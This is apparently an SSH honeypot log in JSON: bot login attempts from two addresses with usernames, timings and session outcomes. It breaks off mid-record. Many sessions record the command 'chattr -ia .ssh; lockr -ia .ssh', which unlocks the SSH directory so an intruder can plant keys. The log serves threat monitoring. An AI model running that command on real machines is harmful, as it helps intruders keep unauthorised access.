[
 {
  "id": "04f65c78-55dc-4484-8b07-dd066e41e55d",
  "name": "rustic-keen-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 48124,
  "username": "ec2-user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:13:59.781508+00:00",
  "ended_at": "2026-08-27T14:14:01.245874+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "245e4254-272f-4e48-b2f7-9bfd12c7c35e",
  "name": "shaded-dappled-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 46978,
  "username": "aramos",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:12:29.344092+00:00",
  "ended_at": "2026-08-27T14:12:31.174261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3befec44-8642-42da-9517-120101b9713d",
  "name": "gallant-inland-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 45062,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:12:27.080570+00:00",
  "ended_at": "2026-08-27T14:12:28.662465+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70788d7c-7690-4083-b142-169b7c65d3e7",
  "name": "wistful-sturdy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 43914,
  "username": "aramos",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:12:25.579849+00:00",
  "ended_at": "2026-08-27T14:12:25.822427+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "7995eea3-4deb-4605-ba18-e47acca02a60",
  "name": "solar-vernal-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 50244,
  "username": "cinema",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:12:03.718014+00:00",
  "ended_at": "2026-08-27T14:12:05.833940+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e9a7dc8-51fc-47a2-ba61-36def624c053",
  "name": "sincere-amber-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 49276,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:12:00.323844+00:00",
  "ended_at": "2026-08-27T14:12:02.062323+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ce59e4d-a72d-4998-a788-e62a05b736c2",
  "name": "daring-clever-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 48470,
  "username": "cinema",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:11:57.835359+00:00",
  "ended_at": "2026-08-27T14:11:58.402131+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "caad3063-71f0-4aa4-a204-a303280c73fc",
  "name": "kindly-languid-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 42692,
  "username": "gaurav",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:11:01.271146+00:00",
  "ended_at": "2026-08-27T14:11:02.428101+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da1e334f-4e6d-49af-93f4-46a61cd3e1fb",
  "name": "painted-sturdy-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 41584,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:10:58.986465+00:00",
  "ended_at": "2026-08-27T14:11:00.150895+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1089136-2730-4f07-9986-cc03bc0912c5",
  "name": "spirited-dusty-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 39608,
  "username": "gaurav",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:10:57.941574+00:00",
  "ended_at": "2026-08-27T14:10:58.175769+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "22cc1660-be2b-455a-b982-c6b5b70e2261",
  "name": "arctic-bashful-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 52550,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 825,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:10:39.045870+00:00",
  "ended_at": "2026-08-27T14:10:39.311875+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2275
 },
 {
  "id": "3494d97d-d16f-49b7-924f-fa901893d078",
  "name": "sunlit-candid-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 54332,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:10:25.391999+00:00",
  "ended_at": "2026-08-27T14:10:26.330164+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67773243-660b-401e-834b-bf0970e3c800",
  "name": "smoky-clever-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 53566,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:10:22.515076+00:00",
  "ended_at": "2026-08-27T14:10:23.732770+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69acb35c-5eec-45a4-a769-f061bd9602af",
  "name": "bashful-plush-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 48024,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:09:35.554288+00:00",
  "ended_at": "2026-08-27T14:09:37.298708+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f7ca4d5b-c706-42b4-8285-8ff5ed7bd7b4",
  "name": "obsidian-hushed-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 46294,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:09:32.842732+00:00",
  "ended_at": "2026-08-27T14:09:34.709217+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5fa2b8c6-1474-40f1-a39d-5ced056d7ac6",
  "name": "amiable-sunlit-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 45196,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:09:31.509206+00:00",
  "ended_at": "2026-08-27T14:09:32.024652+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "57d518f6-4d05-4318-bbc2-e3c64fb8be89",
  "name": "orderly-balmy-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 58238,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:08:37.498856+00:00",
  "ended_at": "2026-08-27T14:08:39.555464+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92496fe8-4106-4b57-a603-bde97cb3dcb7",
  "name": "orderly-inland-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 57408,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:08:33.873579+00:00",
  "ended_at": "2026-08-27T14:08:35.828830+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4b1c0f1-cb02-4fa5-b810-1851c4a84015",
  "name": "leafy-tender-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 56614,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:08:31.398471+00:00",
  "ended_at": "2026-08-27T14:08:31.962801+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "eb3d0d96-73d7-4fb7-a1a4-f3e48cc76cd1",
  "name": "lawful-downy-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 57190,
  "username": "car",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:08:08.324755+00:00",
  "ended_at": "2026-08-27T14:08:09.506549+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dcd776e8-f4e6-45ac-afae-89ff8a6aab45",
  "name": "fearless-austere-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 56002,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:08:05.810430+00:00",
  "ended_at": "2026-08-27T14:08:07.673594+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "109f6956-90a6-4154-a028-f74308f3eba6",
  "name": "painted-ivory-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 54906,
  "username": "car",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:08:04.713919+00:00",
  "ended_at": "2026-08-27T14:08:05.060513+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "939cf713-b32a-49de-a304-c10486850a62",
  "name": "gilded-watchful-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 60678,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:06:37.873392+00:00",
  "ended_at": "2026-08-27T14:06:39.590700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0f725449-870c-43f5-8dcf-f8f64836dcb9",
  "name": "lunar-flinty-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 35686,
  "username": "wireguard",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:06:33.153857+00:00",
  "ended_at": "2026-08-27T14:06:34.994225+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36eb2f83-d720-4fbf-88e8-b2b2bb86d121",
  "name": "barren-twilight-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 44744,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 337,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:05:39.875588+00:00",
  "ended_at": "2026-08-27T14:05:41.771555+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2184
 },
 {
  "id": "0df1f6c7-9098-4009-9dbe-b63024e6c927",
  "name": "crimson-crisp-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 36516,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 830,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:05:31.611089+00:00",
  "ended_at": "2026-08-27T14:05:33.842343+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2193
 },
 {
  "id": "dc68e0c3-652b-43fb-b934-294a23d422de",
  "name": "umber-sincere-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 47006,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:05:13.214127+00:00",
  "ended_at": "2026-08-27T14:05:14.904915+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea3ccae7-1ea8-4cbd-bc73-b1a25be5429e",
  "name": "tawny-painted-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 46042,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:05:11.577499+00:00",
  "ended_at": "2026-08-27T14:05:12.547611+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f7bf5d70-b7f4-4600-af85-0c95331b7225",
  "name": "wistful-meadow-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 38238,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:04:55.553476+00:00",
  "ended_at": "2026-08-27T14:04:56.651194+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f5ebbd9-ecae-42e4-99c5-1eac9eb9d5e3",
  "name": "gallant-weathered-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 37424,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:04:52.408117+00:00",
  "ended_at": "2026-08-27T14:04:53.892016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "523fdf1f-cd18-4578-bb06-808128e94259",
  "name": "dutiful-crystal-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 53042,
  "username": "steam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 360,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:04:09.869400+00:00",
  "ended_at": "2026-08-27T14:04:11.405987+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2160
 },
 {
  "id": "0583a9ed-0c6c-46a0-b7da-a070a9a60675",
  "name": "earnest-vivid-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 55208,
  "username": "steam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:03:44.871447+00:00",
  "ended_at": "2026-08-27T14:03:45.692444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "93b65c5b-a964-4e8f-9f66-274d26b33beb",
  "name": "bashful-snowy-greenfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 54100,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:03:42.681542+00:00",
  "ended_at": "2026-08-27T14:03:43.864854+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "948ef0ae-b1a8-469a-a716-6947083055e0",
  "name": "hidden-courtly-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 40586,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 829,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:03:41.618952+00:00",
  "ended_at": "2026-08-27T14:03:44.018826+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2170
 },
 {
  "id": "519f44ca-dec4-40cb-b4d2-6088121996a4",
  "name": "vaulted-shaded-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 42164,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:03:06.885137+00:00",
  "ended_at": "2026-08-27T14:03:08.299418+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "486eac9f-e731-4601-a83b-7186dbc6262f",
  "name": "amiable-misty-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 41376,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:03:03.659499+00:00",
  "ended_at": "2026-08-27T14:03:05.222555+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f1c9ad32-fb86-4909-9414-08f61e3f05cf",
  "name": "gnarled-airy-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 46340,
  "username": "it",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 419,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:02:44.546918+00:00",
  "ended_at": "2026-08-27T14:02:45.955061+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2142
 },
 {
  "id": "3c9bcb56-c7c4-4786-956e-6e92475e8e05",
  "name": "gallant-vaulted-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 50144,
  "username": "it",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:02:16.661533+00:00",
  "ended_at": "2026-08-27T14:02:18.500506+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ee7ef333-fa79-4f86-bdaf-52e72a0f74ca",
  "name": "sooty-crystal-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 47998,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:02:14.109436+00:00",
  "ended_at": "2026-08-27T14:02:15.937783+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "03e09488-6fbd-4a58-a7e6-9d802ca8d780",
  "name": "gloomy-weathered-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 44650,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 834,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:01:51.154232+00:00",
  "ended_at": "2026-08-27T14:01:53.311292+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2216
 },
 {
  "id": "8f575f38-1c0c-405e-bc09-2d3796d4b053",
  "name": "keen-early-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 46450,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:01:17.099660+00:00",
  "ended_at": "2026-08-27T14:01:19.264142+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c12e9bc0-cbaa-4686-a697-4c26fcb9787e",
  "name": "crimson-ivory-agouti",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 45610,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:01:13.856702+00:00",
  "ended_at": "2026-08-27T14:01:15.449411+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "db998d05-b649-442a-afe5-6fae9b692980",
  "name": "dewy-amber-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 54580,
  "username": "zjsf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 336,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:01:07.505547+00:00",
  "ended_at": "2026-08-27T14:01:08.951013+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2137
 },
 {
  "id": "27efbe08-c462-442a-a2ba-f37c77db7e22",
  "name": "meadow-canny-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 57834,
  "username": "zjsf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:00:41.667661+00:00",
  "ended_at": "2026-08-27T14:00:42.527235+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "454ec9eb-d30e-46ec-a9ff-a23a131eab91",
  "name": "painted-granite-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 56374,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:00:39.885497+00:00",
  "ended_at": "2026-08-27T14:00:40.969663+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f76a8500-8dba-481b-bb0e-ddca5478f49a",
  "name": "arctic-painted-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 48716,
  "username": "aswin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 840,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:59:57.516556+00:00",
  "ended_at": "2026-08-27T13:59:58.701587+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2151
 },
 {
  "id": "02d94f97-51a7-477a-b442-27cb5437ccb7",
  "name": "mossy-electric-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 38488,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:59:37.357704+00:00",
  "ended_at": "2026-08-27T13:59:39.371099+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "5551ed36-19bf-40f6-83a6-3a1321cdc354",
  "name": "seaward-reedy-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 50400,
  "username": "aswin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:59:24.914832+00:00",
  "ended_at": "2026-08-27T13:59:26.669020+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4c4524ea-451e-4b0e-bee9-a7dcfdd28c76",
  "name": "brisk-plucky-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 49586,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:59:21.644901+00:00",
  "ended_at": "2026-08-27T13:59:23.252793+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8609fc80-6fe9-4fcd-bb46-ca684940b0ab",
  "name": "thrifty-granite-harrier",
